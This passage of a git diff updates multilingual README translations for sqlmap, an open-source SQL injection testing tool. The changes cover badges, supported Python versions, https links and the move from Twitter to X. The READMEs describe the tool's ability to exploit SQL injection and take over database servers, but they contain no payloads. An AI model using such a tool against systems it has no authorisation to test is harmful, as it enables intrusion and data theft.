-hh + +Ein Probelauf ist [hier](https://asciinema.org/a/46601) zu finden. Um einen Überblick über sqlmap's Fähigkeiten, unterstütze Funktionen und eine Erklärung aller Optionen und Switches, zusammen mit Beispielen, zu erhalten, wird das [Benutzerhandbuch](https://github.com/sqlmapproject/sqlmap/wiki/Usage) empfohlen. + +Links +--- + +* Webseite: https://sqlmap.org +* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* Problemverfolgung: https://github.com/sqlmapproject/sqlmap/issues +* Benutzerhandbuch: https://github.com/sqlmapproject/sqlmap/wiki +* Häufig gestellte Fragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) +* Demonstrationen: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-es-MX.md b/doc/translations/README-es-MX.md index c874d21496b..f85f4862fca 100644 --- a/doc/translations/README-es-MX.md +++ b/doc/translations/README-es-MX.md @@ -1,6 +1,6 @@ -# sqlmap +# sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap es una herramienta para pruebas de penetración "penetration testing" de software libre que automatiza el proceso de detección y explotación de fallos mediante inyección de SQL además de tomar el control de servidores de bases de datos. Contiene un poderoso motor de detección, así como muchas de las funcionalidades escenciales para el "pentester" y una amplia gama de opciones desde la recopilación de información para identificar el objetivo conocido como "fingerprinting" mediante la extracción de información de la base de datos, hasta el acceso al sistema de archivos subyacente para ejecutar comandos en el sistema operativo a través de conexiones alternativas conocidas como "Out-of-band". @@ -19,7 +19,7 @@ Preferentemente, se puede descargar sqlmap clonando el repositorio [Git](https:/ git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap funciona con las siguientes versiones de [Python](http://www.python.org/download/) ** 2.6.x** y ** 2.7.x** en cualquier plataforma. +sqlmap funciona con las siguientes versiones de [Python](https://www.python.org/download/) **2.7** y **3.x** en cualquier plataforma. Uso --- @@ -38,12 +38,12 @@ Para obtener una visión general de las capacidades de sqlmap, así como un list Enlaces --- -* Página principal: http://sqlmap.org +* Página principal: https://sqlmap.org * Descargar: [. tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) o [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Fuente de Cambios "Commit RSS feed": https://github.com/sqlmapproject/sqlmap/commits/master.atom * Seguimiento de problemas "Issue tracker": https://github.com/sqlmapproject/sqlmap/issues * Manual de usuario: https://github.com/sqlmapproject/sqlmap/wiki * Preguntas frecuentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) -* Demostraciones: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) +* X: [@sqlmap](https://x.com/sqlmap) +* Demostraciones: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Imágenes: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-fa-IR.md b/doc/translations/README-fa-IR.md new file mode 100644 index 00000000000..eb84e410939 --- /dev/null +++ b/doc/translations/README-fa-IR.md @@ -0,0 +1,84 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + + +
+ + + +برنامه `sqlmap`، یک برنامه‌ی تست نفوذ منبع باز است که فرآیند تشخیص و اکسپلویت پایگاه های داده با مشکل امنیتی SQL Injection را بطور خودکار انجام می دهد. این برنامه مجهز به موتور تشخیص قدرتمندی می‌باشد. همچنین داری طیف گسترده‌ای از اسکریپت ها می‌باشد که برای متخصصان تست نفوذ کار کردن با بانک اطلاعاتی را راحتر می‌کند. از جمع اوری اطلاعات درباره بانک داده تا دسترسی به داده های سیستم و اجرا دستورات از طریق ارتباط Out Of Band درسیستم عامل را امکان پذیر می‌کند. + + +تصویر محیط ابزار +---- + + +
+ + + +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + + +
+ +برای نمایش [مجموعه ای از اسکریپت‌ها](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) می‌توانید از دانشنامه دیدن کنید. + + +نصب +---- + +برای دانلود اخرین نسخه tarball، با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/tarball/master) یا دانلود اخرین نسخه zipball با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/zipball/master) میتوانید این کار را انجام دهید. + + +نحوه استفاده +---- + + +برای دریافت لیست ارگومان‌های اساسی می‌توانید از دستور زیر استفاده کنید: + + + +
+ + +``` + python sqlmap.py -h +``` + + + + +
+ + +برای دریافت لیست تمامی ارگومان‌ها می‌توانید از دستور زیر استفاده کنید: + +
+ + +``` + python sqlmap.py -hh +``` + + +
+ + +برای اجرای سریع و ساده ابزار می توانید از [اینجا](https://asciinema.org/a/46601) استفاده کنید. برای دریافت اطلاعات بیشتر در رابطه با قابلیت ها ، امکانات قابل پشتیبانی و لیست کامل امکانات و دستورات همراه با مثال می‌ توانید به [راهنمای](https://github.com/sqlmapproject/sqlmap/wiki/Usage) `sqlmap` سر بزنید. + + +لینک‌ها +---- + + +* خانه: https://sqlmap.org +* دانلود: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) یا [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* نظرات: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* پیگیری مشکلات: https://github.com/sqlmapproject/sqlmap/issues +* راهنمای کاربران: https://github.com/sqlmapproject/sqlmap/wiki +* سوالات متداول: https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* توییتر: [@sqlmap](https://x.com/sqlmap) +* رسانه: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* تصاویر: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-fr-FR.md b/doc/translations/README-fr-FR.md index c051396304d..4d867898b97 100644 --- a/doc/translations/README-fr-FR.md +++ b/doc/translations/README-fr-FR.md @@ -1,6 +1,6 @@ -# sqlmap +# sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) **sqlmap** est un outil Open Source de test d'intrusion. Cet outil permet d'automatiser le processus de détection et d'exploitation des failles d'injection SQL afin de prendre le contrôle des serveurs de base de données. __sqlmap__ dispose d'un puissant moteur de détection utilisant les techniques les plus récentes et les plus dévastatrices de tests d'intrusion comme L'Injection SQL, qui permet d'accéder à la base de données, au système de fichiers sous-jacent et permet aussi l'exécution des commandes sur le système d'exploitation. @@ -19,7 +19,7 @@ De préférence, télécharger __sqlmap__ en le [clonant](https://github.com/sql git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap fonctionne sur n'importe quel système d'exploitation avec la version **2.6.x** et **2.7.x** de [Python](http://www.python.org/download/) +sqlmap fonctionne sur n'importe quel système d'exploitation avec la version **2.7** et **3.x** de [Python](https://www.python.org/download/) Utilisation ---- @@ -32,18 +32,18 @@ Pour afficher une liste complète des options et des commutateurs (switches), ta python sqlmap.py -hh -Vous pouvez regarder un vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples. +Vous pouvez regarder une vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples. Pour obtenir un aperçu des ressources de __sqlmap__, une liste des fonctionnalités prises en charge, la description de toutes les options, ainsi que des exemples, nous vous recommandons de consulter [le wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Liens ---- -* Page d'acceuil: http://sqlmap.org +* Page d'acceuil: https://sqlmap.org * Téléchargement: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ou [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Suivi des issues: https://github.com/sqlmapproject/sqlmap/issues * Manuel de l'utilisateur: https://github.com/sqlmapproject/sqlmap/wiki * Foire aux questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) -* Démonstrations: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) +* X: [@sqlmap](https://x.com/sqlmap) +* Démonstrations: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Les captures d'écran: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md index 4deee28051d..0d5e0446570 100644 --- a/doc/translations/README-gr-GR.md +++ b/doc/translations/README-gr-GR.md @@ -1,6 +1,6 @@ -# sqlmap +# sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) Το sqlmap είναι πρόγραμμα ανοιχτού κώδικα, που αυτοματοποιεί την εύρεση και εκμετάλλευση ευπαθειών τύπου SQL Injection σε βάσεις δεδομένων. Έρχεται με μια δυνατή μηχανή αναγνώρισης ευπαθειών, πολλά εξειδικευμένα χαρακτηριστικά για τον απόλυτο penetration tester όπως και με ένα μεγάλο εύρος επιλογών αρχίζοντας από την αναγνώριση της βάσης δεδομένων, κατέβασμα δεδομένων της βάσης, μέχρι και πρόσβαση στο βαθύτερο σύστημα αρχείων και εκτέλεση εντολών στο απευθείας στο λειτουργικό μέσω εκτός ζώνης συνδέσεων. @@ -20,7 +20,7 @@ git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -Το sqlmap λειτουργεί χωρίς περαιτέρω κόπο με την [Python](http://www.python.org/download/) έκδοσης **2.6.x** και **2.7.x** σε όποια πλατφόρμα. +Το sqlmap λειτουργεί χωρίς περαιτέρω κόπο με την [Python](https://www.python.org/download/) έκδοσης **2.7** και **3.x** σε όποια πλατφόρμα. Χρήση ---- @@ -39,12 +39,12 @@ Σύνδεσμοι ---- -* Αρχική σελίδα: http://sqlmap.org +* Αρχική σελίδα: https://sqlmap.org * Λήψεις: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ή [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Προβλήματα: https://github.com/sqlmapproject/sqlmap/issues * Εγχειρίδιο Χρήστη: https://github.com/sqlmapproject/sqlmap/wiki * Συχνές Ερωτήσεις (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) -* Demos: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) +* X: [@sqlmap](https://x.com/sqlmap) +* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Εικόνες: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-hr-HR.md b/doc/translations/README-hr-HR.md index 7b84a99bc07..45d5eaad1f9 100644 --- a/doc/translations/README-hr-HR.md +++ b/doc/translations/README-hr-HR.md @@ -1,6 +1,6 @@ -# sqlmap +# sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap je alat namijenjen za penetracijsko testiranje koji automatizira proces detekcije i eksploatacije sigurnosnih propusta SQL injekcije te preuzimanje poslužitelja baze podataka. Dolazi s moćnim mehanizmom za detekciju, mnoštvom korisnih opcija za napredno penetracijsko testiranje te široki spektar opcija od onih za prepoznavanja baze podataka, preko dohvaćanja podataka iz baze, do pristupa zahvaćenom datotečnom sustavu i izvršavanja komandi na operacijskom sustavu korištenjem tzv. "out-of-band" veza. @@ -20,7 +20,7 @@ Po mogućnosti, možete preuzeti sqlmap kloniranjem [Git](https://github.com/sql git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap radi bez posebnih zahtjeva korištenjem [Python](http://www.python.org/download/) verzije **2.6.x** i/ili **2.7.x** na bilo kojoj platformi. +sqlmap radi bez posebnih zahtjeva korištenjem [Python](https://www.python.org/download/) verzije **2.7** i/ili **3.x** na bilo kojoj platformi. Korištenje ---- @@ -39,12 +39,12 @@ Kako biste dobili pregled mogućnosti sqlmap-a, liste podržanih značajki te op Poveznice ---- -* Početna stranica: http://sqlmap.org +* Početna stranica: https://sqlmap.org * Preuzimanje: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ili [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * RSS feed promjena u kodu: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Prijava problema: https://github.com/sqlmapproject/sqlmap/issues * Korisnički priručnik: https://github.com/sqlmapproject/sqlmap/wiki * Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) -* Demo: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) +* X: [@sqlmap](https://x.com/sqlmap) +* Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Slike zaslona: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-id-ID.md b/doc/translations/README-id-ID.md index 6cf44cf044c..f82bf71d2ec 100644 --- a/doc/translations/README-id-ID.md +++ b/doc/translations/README-id-ID.md @@ -1,51 +1,53 @@ -# sqlmap +# sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) -sqlmap merupakan alat _(tool)_ bantu _open source_ dalam melakukan tes penetrasi yang mengotomasi proses deteksi dan eksploitasi kelemahan _SQL injection_ dan pengambil-alihan server basisdata. sqlmap dilengkapi dengan pendeteksi canggih, fitur-fitur hanal bagi _penetration tester_, beragam cara untuk mendeteksi basisdata, hingga mengakses _file system_ dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_. +sqlmap adalah perangkat lunak sumber terbuka yang digunakan untuk melakukan uji penetrasi, mengotomasi proses deteksi, eksploitasi kelemahan _SQL injection_ serta pengambil-alihan server basis data. + +sqlmap dilengkapi dengan pendeteksi canggih dan fitur-fitur handal yang berguna bagi _penetration tester_. Perangkat lunak ini menawarkan berbagai cara untuk mendeteksi basis data bahkan dapat mengakses sistem file dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_. Tangkapan Layar ---- ![Tangkapan Layar](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) -Anda dapat mengunjungi [koleksi tangkapan layar](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) yang mendemonstrasikan beberapa fitur dalam wiki. +Anda juga dapat mengunjungi [koleksi tangkapan layar](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) yang mendemonstrasikan beberapa fitur dalam wiki. Instalasi ---- -Anda dapat mengunduh tarball versi terbaru [di sini] -(https://github.com/sqlmapproject/sqlmap/tarball/master) atau zipball [di sini](https://github.com/sqlmapproject/sqlmap/zipball/master). +Anda dapat mengunduh tarball versi terbaru [di sini](https://github.com/sqlmapproject/sqlmap/tarball/master) atau zipball [di sini](https://github.com/sqlmapproject/sqlmap/zipball/master). -Sebagai alternatif, Anda dapat mengunduh sqlmap dengan men-_clone_ repositori [Git](https://github.com/sqlmapproject/sqlmap): +Sebagai alternatif, Anda dapat mengunduh sqlmap dengan melakukan _clone_ pada repositori [Git](https://github.com/sqlmapproject/sqlmap): git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap berfungsi langsung pada [Python](http://www.python.org/download/) versi **2.6.x** dan **2.7.x** pada platform apapun. +sqlmap berfungsi langsung pada [Python](https://www.python.org/download/) versi **2.7** dan **3.x** pada platform apapun. Penggunaan ---- -Untuk mendapatkan daftar opsi dasar gunakan: +Untuk mendapatkan daftar opsi dasar gunakan perintah: python sqlmap.py -h -Untuk mendapatkan daftar opsi lanjut gunakan: +Untuk mendapatkan daftar opsi lanjutan gunakan perintah: python sqlmap.py -hh Anda dapat mendapatkan contoh penggunaan [di sini](https://asciinema.org/a/46601). -Untuk mendapatkan gambaran singkat kemampuan sqlmap, daftar fitur yang didukung, deskripsi dari semua opsi, berikut dengan contohnya, Anda disarankan untuk membaca [Panduan Pengguna](https://github.com/sqlmapproject/sqlmap/wiki/Usage). + +Untuk mendapatkan gambaran singkat kemampuan sqlmap, daftar fitur yang didukung, deskripsi dari semua opsi, berikut dengan contohnya. Anda disarankan untuk membaca [Panduan Pengguna](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Tautan ---- -* Situs: http://sqlmap.org +* Situs: https://sqlmap.org * Unduh: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) atau [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) -* RSS feed dari commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom -* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues +* RSS Feed Dari Commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* Pelacak Masalah: https://github.com/sqlmapproject/sqlmap/issues * Wiki Manual Penggunaan: https://github.com/sqlmapproject/sqlmap/wiki -* Pertanyaan yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) -* Video Demo [#1](http://www.youtube.com/user/inquisb/videos) dan [#2](http://www.youtube.com/user/stamparm/videos) +* Pertanyaan Yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) +* Video Demo [#1](https://www.youtube.com/user/inquisb/videos) dan [#2](https://www.youtube.com/user/stamparm/videos) * Tangkapan Layar: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-in-HI.md b/doc/translations/README-in-HI.md new file mode 100644 index 00000000000..b311f81afe3 --- /dev/null +++ b/doc/translations/README-in-HI.md @@ -0,0 +1,50 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +sqlmap एक ओपन सोर्स प्रवेश परीक्षण उपकरण है जो SQL इन्जेक्शन दोषों की पहचान और उपयोग की प्रक्रिया को स्वचलित करता है और डेटाबेस सर्वरों को अधिकृत कर लेता है। इसके साथ एक शक्तिशाली पहचान इंजन, अंतिम प्रवेश परीक्षक के लिए कई निचले विशेषताएँ और डेटाबेस प्रिंट करने, डेटाबेस से डेटा निकालने, नीचे के फ़ाइल सिस्टम तक पहुँचने और आउट-ऑफ-बैंड कनेक्शन के माध्यम से ऑपरेटिंग सिस्टम पर कमांड चलाने के लिए कई बड़े रेंज के स्विच शामिल हैं। + +चित्रसंवाद +---- + +![स्क्रीनशॉट](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +आप [विकि पर](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) कुछ फीचर्स की दिखाते हुए छवियों का संग्रह देख सकते हैं। + +स्थापना +---- + +आप नवीनतम तारबाल को [यहां क्लिक करके](https://github.com/sqlmapproject/sqlmap/tarball/master) या नवीनतम ज़िपबॉल को [यहां क्लिक करके](https://github.com/sqlmapproject/sqlmap/zipball/master) डाउनलोड कर सकते हैं। + +प्राथमिकत: आप sqlmap को [गिट](https://github.com/sqlmapproject/sqlmap) रिपॉजिटरी क्लोन करके भी डाउनलोड कर सकते हैं: + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap [Python](https://www.python.org/download/) संस्करण **2.7** और **3.x** पर किसी भी प्लेटफार्म पर तुरंत काम करता है। + +उपयोग +---- + +मौलिक विकल्पों और स्विच की सूची प्राप्त करने के लिए: + + python sqlmap.py -h + +सभी विकल्पों और स्विच की सूची प्राप्त करने के लिए: + + python sqlmap.py -hh + +आप [यहां](https://asciinema.org/a/46601) एक नमूना चलाने का पता लगा सकते हैं। sqlmap की क्षमताओं की एक अवलोकन प्राप्त करने, समर्थित फीचर्स की सूची और सभी विकल्पों और स्विच का वर्णन, साथ ही उदाहरणों के साथ, आपको [उपयोगकर्ता मैन्युअल](https://github.com/sqlmapproject/sqlmap/wiki/Usage) पर परामर्श दिया जाता है। + +लिंक +---- + +* मुखपृष्ठ: https://sqlmap.org +* डाउनलोड: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) या [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* संवाद आरएसएस फ़ीड: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* समस्या ट्रैकर: https://github.com/sqlmapproject/sqlmap/issues +* उपयोगकर्ता मैन्युअल: https://github.com/sqlmapproject/sqlmap/wiki +* अक्सर पूछे जाने वाले प्रश्न (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* ट्विटर: [@sqlmap](https://x.com/sqlmap) +* डेमो: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* स्क्रीनशॉट: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots +* diff --git a/doc/translations/README-it-IT.md b/doc/translations/README-it-IT.md index eddaa95ac03..6b074141b41 100644 --- a/doc/translations/README-it-IT.md +++ b/doc/translations/README-it-IT.md @@ -1,6 +1,6 @@ -# sqlmap +# sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap è uno strumento open source per il penetration testing. Il suo scopo è quello di rendere automatico il processo di scoperta ed exploit di vulnerabilità di tipo SQL injection al fine di compromettere database online. Dispone di un potente motore per la ricerca di vulnerabilità, molti strumenti di nicchia anche per il più esperto penetration tester ed un'ampia gamma di controlli che vanno dal fingerprinting di database allo scaricamento di dati, fino all'accesso al file system sottostante e l'esecuzione di comandi nel sistema operativo attraverso connessioni out-of-band. @@ -20,7 +20,7 @@ La cosa migliore sarebbe però scaricare sqlmap clonando la repository [Git](htt git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap è in grado di funzionare con le versioni **2.6.x** e **2.7.x** di [Python](http://www.python.org/download/) su ogni piattaforma. +sqlmap è in grado di funzionare con le versioni **2.7** e **3.x** di [Python](https://www.python.org/download/) su ogni piattaforma. Utilizzo ---- @@ -39,12 +39,12 @@ Per una panoramica delle capacità di sqlmap, una lista delle sue funzionalità Link ---- -* Sito: http://sqlmap.org +* Sito: https://sqlmap.org * Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * RSS feed dei commit: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * Manuale dell'utente: https://github.com/sqlmapproject/sqlmap/wiki * Domande più frequenti (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) -* Dimostrazioni: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) +* X: [@sqlmap](https://x.com/sqlmap) +* Dimostrazioni: 